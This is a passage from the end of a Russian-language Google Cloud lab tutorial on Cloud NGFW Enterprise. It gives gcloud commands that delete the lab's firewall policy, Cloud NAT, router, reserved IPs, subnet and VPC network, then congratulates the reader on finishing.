gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Удалить Cloud Router и Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Удалить зарезервированные IP-адреса:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Наконец, удалите подсеть и сеть VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Поздравляем!
Поздравляем, вы успешно завершили лабораторную работу Cloud NGFW Enterprise для инспекций Восток-Запад и Север-Юг.